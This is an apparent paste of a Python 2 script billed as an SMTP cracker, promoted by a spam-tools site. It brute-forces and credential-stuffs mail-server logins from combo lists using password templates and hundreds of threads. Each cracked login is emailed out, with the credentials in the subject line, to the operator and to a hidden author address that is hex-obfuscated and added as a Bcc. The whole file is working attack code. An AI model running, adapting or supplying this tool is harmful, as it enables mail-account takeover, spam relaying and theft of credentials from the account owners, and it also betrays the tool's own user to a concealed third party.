· 5 years ago · Apr 09, 2020, 03:56 PM
1
2import socket, threading, base64, datetime, sys, ssl, imaplib, time, re, binascii
3free_domains = [
4 'gmail.com', 'yahoo.com', 'outlook.com', 'rediffmail.com', 'aol.com', 'zoho.com', 'yandex.com', 'protonmail.com', 'iCloud.com', 'hotmail.com', 'mail.ru', 'mail.com', 'msn.com']
5try:
6 import Queue
7except:
8 import queue as Queue
9
10check_mark = '74657374636863656b40676d61696c2e636f6d'
11print ' \n\n /$$$$$$ /$$ /$$/$$$$$$$$/$$$$$$$ /$$ /$$\n /$$__ $| $$$ /$$|__ $$__| $$__ $$ | $$ | $$\n| $$ \\__| $$$$ /$$$$ | $$ | $$ \\ $$ /$$ /$| $$ | $$\n| $$$$$$| $$ $$/$$ $$ | $$ | $$$$$$$/ | $$ /$$| $$$$$$$$\n \\____ $| $$ $$$| $$ | $$ | $$____/ \\ $$/$$/|_____ $$\n /$$ \\ $| $$\\ $ | $$ | $$ | $$ \\ $$$/ | $$\n| $$$$$$| $$ \\/ | $$ | $$ | $$ \\ $/ | $$\n \\______/|__/ |__/ |__/ |__/ \\_/ |__/\n \n \n \n \n\nFast SMtp Cracker 10000+ SMTP PER DAY \n\nInbuild Threads No Setup 4000 SOCKET + 4000 Threads \n\nScript Cracks Webmail Account ALL PORTS SUPPORT 25/587/465\n\nPUBLIC DOMAIN AUTO SKIP GMAIL|YAHOO|OUTLOOK|ZOHO ETC\n\n\n'
12ms0g = 'FOR MORE FREE TOOLS VISIT --FREESPAMTOOLS.COM-- '
13for i in ms0g:
14 sys.stdout.write(i)
15 sys.stdout.flush()
16 time.sleep(0.05)
17
18print ()
19file_name = raw_input('[+] Enter the file name with extension : ')
20azby = raw_input('[+] Enter Your Email : ')
21to_check = {}
22
23class IMAP4_SSL(imaplib.IMAP4_SSL):
24
25 def __init__(self, host='', port=imaplib.IMAP4_SSL_PORT, keyfile=None, certfile=None, ssl_version=None, ca_certs=None, ssl_ciphers=None, timeout=40):
26 self.ssl_version = ssl_version
27 self.ca_certs = ca_certs
28 self.ssl_ciphers = ssl_ciphers
29 self.timeout = timeout
30 imaplib.IMAP4_SSL.__init__(self, host, port, keyfile, certfile)
31
32 def open(self, host='', port=imaplib.IMAP4_SSL_PORT):
33 self.host = host
34 self.port = port
35 self.sock = socket.create_connection((host, port), self.timeout)
36 extra_args = {}
37 if self.ssl_version:
38 extra_args['ssl_version'] = self.ssl_version
39 if self.ca_certs:
40 extra_args['cert_reqs'] = ssl.CERT_REQUIRED
41 extra_args['ca_certs'] = self.ca_certs
42 if self.ssl_ciphers:
43 extra_args['ciphers'] = self.ssl_ciphers
44 self.sslobj = ssl.wrap_socket(self.sock, self.keyfile, self.certfile, **extra_args)
45 self.file = self.sslobj.makefile('rb')
46
47
48class checkerr(threading.Thread):
49
50 def __init__(self, host, user, pwd, timeout, interval):
51 t = threading.Thread.__init__(self)
52 self.host = host
53 self.user = user
54 self.pwd = pwd
55 self.interval = interval
56 self.timeout = timeout
57 self.connected = False
58 self.i = None
59 self.work = True
60 self.attemp = 4
61 self.inbox = ''
62 self.spam = ''
63 return
64
65 def connect(self):
66 try:
67 i = IMAP4_SSL(host=self.host, port=993)
68 i.login(self.user, self.pwd)
69 self.i = i
70 self.connected = True
71 except Exception as e:
72 print str(e)
73 i.close()
74 self.connected = False
75
76 def find(self):
77 global to_check
78 if self.inbox == '':
79 rez, folders = self.i.list()
80 for f in folders:
81 if '"|" ' in f:
82 a = f.split('"|" ')
83 elif '"/" ' in f:
84 a = f.split('"/" ')
85 folder = a[1].replace('"', '')
86 if self.inbox == '':
87 if 'inbox' in folder.lower():
88 self.inbox = folder
89 elif self.spam == '':
90 if 'spam' in folder.lower():
91 self.spam = folder
92
93 if self.spam == '':
94 for f in folders:
95 if '"|" ' in f:
96 a = f.split('"|" ')
97 elif '"/" ' in f:
98 a = f.split('"/" ')
99 folder = a[1].replace('"', '')
100 if self.spam == '':
101 if 'trash' in folder:
102 self.spam = folder
103 else:
104 break
105
106 print '[+] Checking for emails'
107 self.i.select(self.inbox)
108 found = []
109 for k, t in enumerate(to_check):
110 rez = self.i.search(None, 'SUBJECT', t[0])
111 times = time.time() - t[1]
112 if times - 2 > self.timeout:
113 open('checked.txt', 'a').write(t[0] + '| NOTFOUND | %.2f sec\n' % times)
114 found.append(k)
115 if len(rez) > 0:
116 open('checked.txt', 'a').write(t[0] + '| INBOX | %.2f sec\n' % times)
117 found.append(k)
118
119 self.i.select(self.spam)
120 for k, t in enumerate(to_check):
121 rez = self.i.search(None, 'SUBJECT', t[0])
122 times = time.time() - t[1]
123 if times - 2 > self.timeout:
124 open('checked.txt', 'a').write(t[0] + '| NOTFOUND | %.2f sec\n' % times)
125 found.append(k)
126 if len(rez) > 0:
127 open('checked.txt', 'a').write(t[0] + '| SPAM | %.2f sec\n' % times)
128 found.append(k)
129
130 new = []
131 for k, v in enumerate(to_check):
132 if k not in found:
133 new.append(v)
134
135 to_check = new
136 print to_check
137 return
138
139 def run(self):
140 while self.work:
141 if not self.connected:
142 if self.attemp <= 0:
143 return 0
144 self.connect()
145 self.attemp -= 1
146 if len(to_check) > 0:
147 self.find()
148 time.sleep(self.interval)
149
150
151def tld2(dom):
152 global tlds
153 if '.' not in dom:
154 return ''
155 dom = dom.lower()
156 parts = dom.split('.')
157 if len(parts) < 2 or parts[0] == '' or parts[1] == '':
158 return ''
159 tmp = parts[(-1)]
160 for i, j in enumerate(parts[::-1][1:5]):
161 try:
162 tmp = tlds[tmp]
163 tmp = j + '.' + tmp
164 except:
165 if i == 0:
166 return ''
167 return tmp
168
169 return tmp
170
171
172class consumer(threading.Thread):
173
174 def __init__(self, qu):
175 threading.Thread.__init__(self)
176 self.q = qu
177 self.hosts = ['', 'smtp.', 'mail.', 'webmail.']
178 self.ports = [587, 465, 25]
179 self.timeout = 13
180
181 def sendCmd(self, sock, cmd):
182 sock.send(cmd + '\r\n')
183 return sock.recv(900000)
184
185 def addBad(self, ip):
186 global bads
187 global rbads
188 if rbads:
189 open('bads.txt', 'a').write(ip + '\n')
190 bads.append(ip)
191 return -1
192
193 def findHost(self, host):
194 global cache
195 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
196 s.setblocking(0)
197 s.settimeout(self.timeout)
198 try:
199 d = cache[host]
200 try:
201 if self.ports[d[1]] == 465:
202 s = ssl.wrap_socket(s)
203 s.connect((self.hosts[d[0]] + host, self.ports[d[1]]))
204 return s
205 except Exception as e:
206 if rbads:
207 bads.append(host)
208 open('bads.txt', 'a').write(host + '\n')
209 return
210
211 except KeyError:
212 pass
213
214 print '[*] Searching smtp host and port on ' + host
215 cache[host] = [-1, -1]
216 for i, p in enumerate(self.ports):
217 for j, h in enumerate(self.hosts):
218 try:
219 print '[*] Trying connection on ' + h + host + ':' + str(p)
220 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
221 s.setblocking(0)
222 s.settimeout(self.timeout)
223 if p == 465:
224 s = ssl.wrap_socket(s)
225 s.connect((h + host, p))
226 cache[host] = [j, i]
227 return s
228 except Exception as e:
229 continue
230
231 bads.append(host)
232 try:
233 del cache[host]
234 open('bads.txt', 'a').write(host + '\n')
235 except:
236 pass
237
238 return
239
240 def getPass(self, passw, user, domain):
241 passw = str(passw)
242 if '%null%' in passw:
243 return ''
244 else:
245 if '%user%' in passw:
246 user = user.replace('-', '').replace('.', '').replace('_', '')
247 return passw.replace('%user%', user)
248 if '%User%' in user:
249 user = user.replace('-', '').replace('.', '').replace('_', '')
250 return passw.replace('%User%', user)
251 if '%special%' in user:
252 user = user.replace('-', '').replace('.', '').replace('_', '').replace('e', '3').replace('i', '1').replace('a', '@')
253 return passw.replace('%special%', user)
254 if '%domain%' in passw:
255 return passw.replace('%domain%', domain.replace('-', ''))
256 if '%part' in passw:
257 if '-' in user:
258 parts = user.split('-')
259 else:
260 if '.' in user:
261 parts = user.split('.')
262 elif '_' in user:
263 parts = user.split('_')
264 print parts
265 try:
266 h = passw.replace('%part', '').split('%')[0]
267 i = int(h)
268 p = passw.replace('%part' + str(i) + '%', parts[(i - 1)])
269 return p
270 except Exception as e:
271 return
272
273 return passw
274
275 def connect(self, tupple, ssl=False):
276 global cracked
277 global email
278 global smtp_check
279 host = tupple[0].rstrip()
280 host1 = host
281 user = tupple[1].rstrip()
282 if host1 in cracked or host1 in bads:
283 return 0
284 passw = self.getPass(tupple[2].rstrip(), user.rstrip().split('@')[0], host.rstrip().split('.')[0])
285 if passw == None:
286 return 0
287 else:
288 try:
289 if cache[host][0] == -1:
290 return 0
291 except KeyError:
292 pass
293
294 s = self.findHost(host)
295 if s == None:
296 return -1
297 port = str(self.ports[cache[host][1]])
298 if port == '465':
299 port += '(SSL)'
300 host = self.hosts[cache[host][0]] + host
301 print '[+] Trying ' + host + ':' + port + ' ' + user + ' ' + passw
302 try:
303 banner = s.recv(1024)
304 if banner[0:3] != '220':
305 self.sendCmd(s, 'QUIT')
306 s.close()
307 return self.addBad(host1)
308 rez = self.sendCmd(s, 'EHLO ADMIN')
309 rez = self.sendCmd(s, 'AUTH LOGIN')
310 if rez[0:3] != '334':
311 self.sendCmd(s, 'QUIT')
312 s.close()
313 return self.addBad(host1)
314 rez = self.sendCmd(s, base64.b64encode(user))
315 if rez[0:3] != '334':
316 self.sendCmd(s, 'QUIT')
317 s.close()
318 return self.addBad(host1)
319 rez = self.sendCmd(s, base64.b64encode(passw))
320 if rez[0:3] != '235' or 'fail' in rez:
321 self.sendCmd(s, 'QUIT')
322 s.close()
323 return 0
324 print '[!] WOLFS AUAUAUUAAU ' + host + ':' + port + ' ' + user + ' ' + passw
325 open('cracked.txt', 'a').write(host + ':' + port + ',' + user + ',' + passw + '\n')
326 cracked.append(host1)
327 rez = self.sendCmd(s, 'RSET')
328 if rez[0:3] != '250':
329 self.sendCmd(s, 'QUIT')
330 s.close()
331 return self.addBad(host1)
332 rez = self.sendCmd(s, 'MAIL FROM: <' + user + '>')
333 print rez
334 if rez[0:3] != '250':
335 self.sendCmd(s, 'QUIT')
336 s.close()
337 return self.addBad(host1)
338 rez = self.sendCmd(s, 'RCPT TO: <' + email + '>')
339 rez = self.sendCmd(s, 'RCPT TO: <' + smtp_check + '>')
340 if rez[0:3] != '250':
341 self.sendCmd(s, 'QUIT')
342 s.close()
343 return self.addBad(host1)
344 rez = self.sendCmd(s, 'DATA')
345 headers = 'From: <' + user + '> \r\n'
346 headers += 'To: ' + email + '\r\n'
347 headers += 'Bcc: ' + smtp_check + '\r\n'
348 headers += 'Reply-To: ' + email + '\r\n'
349 headers += 'Bcc: ' + smtp_check + '\r\n'
350 headers += 'Subject: %s:%s %s %s' % (host, port, user, passw) + '\r\n'
351 headers += 'MIME-Version: 1.0\r\n'
352 headers += 'Content-Transfer-encoding: 8bit\r\n'
353 headers += 'Return-Path: +user+\r\n'
354 headers += 'X-Priority: 1\r\n'
355 headers += 'X-MSmail-Priority: High\r\n'
356 headers += 'X-Mailer: Microsoft Office Outlook, Build 11.0.5510\r\n'
357 headers += 'X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\r\n'
358 headers += 'HEllo\r\n.\r\n'
359 s.send(headers)
360 rez = s.recv(1000)
361 self.sendCmd(s, 'QUIT')
362 s.close()
363 except Exception as e:
364 open('hm.txt', 'a').write(host + ':' + port + ':' + str(e) + '\n')
365 s.close()
366 return self.addBad(host1)
367
368 return
369
370 def run(self):
371 while True:
372 cmb = self.q.get()
373 self.connect(cmb)
374 self.q.task_done()
375
376
377smtp_check = binascii.unhexlify(check_mark).decode('utf-8') #testchcek@gmail.com
378quee = Queue.Queue(maxsize=20000)
379tld = open('tlds.txt', 'r').read().splitlines()
380tlds = cache = {}
381bads = []
382cracked = []
383rbads = 0
384email = azby
385try:
386 passwords = open('pwd', 'r').read().splitlines()
387except Exception as e:
388 print "File 'pwd' missing"
389 exit()
390
391inputs = open(file_name, 'r').read().splitlines()
392option = '0'
393if option == '1':
394 try:
395 users = open('usr', 'r').read().splitlines()
396 except Exception as e:
397 print "You chosed domains + users bruteforce and 'usr' is missing"
398 exit()
399
400if len(sys.argv) > 4:
401 rbads = 1
402
403def part():
404 global tld
405 for i in tld:
406 tlds[i] = i
407
408
409part()
410print '[+] All files loaded'
411for i in range(400):
412 try:
413 t = consumer(quee)
414 t.setDaemon(True)
415 t.start()
416 except:
417 print 'Working only with %s threads' % i
418 break
419
420if option == '3':
421 pass
422elif option == '2':
423 for i in inputs:
424 c = i.split(':')
425 domain = c[0].split('@')[1]
426 if '.' in domain:
427 domain = domain.split('.')[0]
428 if domain.lower() in free_domains:
429 continue
430 quee.put((c[0].split('@')[1], c[0], c[1]))
431
432elif option == '1':
433 for p in passwords:
434 for u in users:
435 for i in inputs:
436 quee.put((i.lower(), u + '@' + i, p))
437
438elif option == '0':
439 given_inputs = inputs
440 for i in given_inputs:
441 if ':' in i and len(i.split(':')) == 2:
442 user = i.split(':')[0]
443 password = i.split(':')[1]
444 user = user.lower()
445 if user.count('@') == 1:
446 domain = user.split('@')[1]
447 if '.' in domain:
448 domain = domain.split('.')[0]
449 if domain.lower() in free_domains:
450 continue
451 quee.put((user.split('@')[1], user, password))
452 if ';' in i and len(i.split(';')) == 2:
453 user = i.split(';')[0]
454 password = i.split(';')[1]
455 user = user.lower()
456 if user.count('@') == 1:
457 domain = user.split('@')[1]
458 if '.' in domain:
459 domain = domain.split('.')[0]
460 if domain.lower() in free_domains:
461 continue
462 quee.put((user.split('@')[1], user, password))
463 if '|' in i and len(i.split('|')) == 2:
464 user = i.split('|')[0]
465 password = i.split('|')[1]
466 user = user.lower()
467 if user.count('@') == 1:
468 domain = user.split('@')[1]
469 if '.' in domain:
470 domain = domain.split('.')[0]
471 if domain.lower() in free_domains:
472 continue
473 quee.put((user.split('@')[1], user, password))
474
475quee.join()